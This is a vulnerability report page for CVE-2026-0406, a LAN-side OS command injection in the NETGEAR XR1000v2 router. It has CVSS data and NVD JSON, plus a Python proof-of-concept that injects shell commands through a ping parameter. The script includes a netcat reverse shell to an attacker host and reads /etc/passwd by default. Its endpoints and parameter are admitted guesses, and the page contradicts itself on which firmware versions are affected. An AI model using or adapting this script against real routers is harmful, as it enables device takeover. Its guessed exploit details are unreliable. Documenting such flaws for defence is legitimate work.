Security Vulnerability Report
中文
CVE-2026-0406 CVSS 8.0 HIGH

CVE-2026-0406

Published: 2026-01-13 16:16:11
Last Modified: 2026-02-20 19:42:29
Source: a2826606-91e7-4eb6-899e-8484bd4575d5

Description

An insufficient input validation vulnerability in the NETGEAR XR1000v2 allows attackers connected to the router's LAN to execute OS command injections.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:netgear:xr1000v2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:xr1000v2:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR XR1000v2 固件版本 < 1.0.0.114
NETGEAR XR1000v2 已知受影响版本:所有当前固件版本(截至2026年1月)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-0406 PoC - NETGEAR XR1000v2 OS Command Injection # Note: This is a conceptual PoC for educational purposes only import requests import argparse target_ip = "192.168.1.1" # Router LAN IP target_port = 80 def exploit_command_injection(target, command): """ Exploit the insufficient input validation vulnerability to execute OS commands on NETGEAR XR1000v2 """ # Common vulnerable endpoint patterns for NETGEAR devices endpoints = [ "/cgi-bin/;command", "/ping.htm", "/diag.htm", "/utility.cgi" ] # Payload construction with command injection # Using common injection techniques: ; | && || payload = f";{command}" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Example vulnerable parameter (actual parameter varies) data = { "ping_ip": f"127.0.0.1{payload}", "ping_count": "1" } try: url = f"http://{target}:{target_port}{endpoints[0].replace(';command', '')}" response = requests.post(url, data=data, headers=headers, timeout=10) return response.text except requests.RequestException as e: return f"Error: {str(e)}" def reverse_shell(target, attacker_ip, attacker_port): """ Generate reverse shell command for exploitation """ # Netcat reverse shell payload shell_cmd = f"nc -e /bin/sh {attacker_ip} {attacker_port}" return exploit_command_injection(target, shell_cmd) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-0406 PoC") parser.add_argument("--target", default=target_ip, help="Target router IP") parser.add_argument("--cmd", default="cat /etc/passwd", help="Command to execute") args = parser.parse_args() print(f"[*] Exploiting CVE-2026-0406 on {args.target}") print(f"[*] Executing: {args.cmd}") result = exploit_command_injection(args.target, args.cmd) print("[*] Result:") print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0406", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2026-01-13T16:16:10.690", "lastModified": "2026-02-20T19:42:29.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insufficient input validation vulnerability in the NETGEAR XR1000v2 \nallows attackers connected to the router's LAN to execute OS command \ninjections."}, {"lang": "es", "value": "Una vulnerabilidad de validación de entrada insuficiente en el NETGEAR XR1000v2 permite a atacantes conectados a la LAN del router ejecutar inyecciones de comandos del sistema operativo."}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:N/R:U/V:D/RE:M/U:Amber", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NEGLIGIBLE", "Automatable": "NO", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:xr1000v2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.2.34", "matchCriteriaId": "0C8DFFA6-7390-48F5-B3DD-6547B359F107"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:xr1000v2:-:*:*:*:*:*:*:*", "matchCriteriaId": "697B2136-87A6-4E8F-8B5E-373B02E9D6D7"}]}]}], "references": [{"url": "https://kb.netgear.com/000070442/January-2026-NETGEAR-Security-Advisory", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.netgear.com/support/product/xr1000v2", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Patch", "Product"]}]}}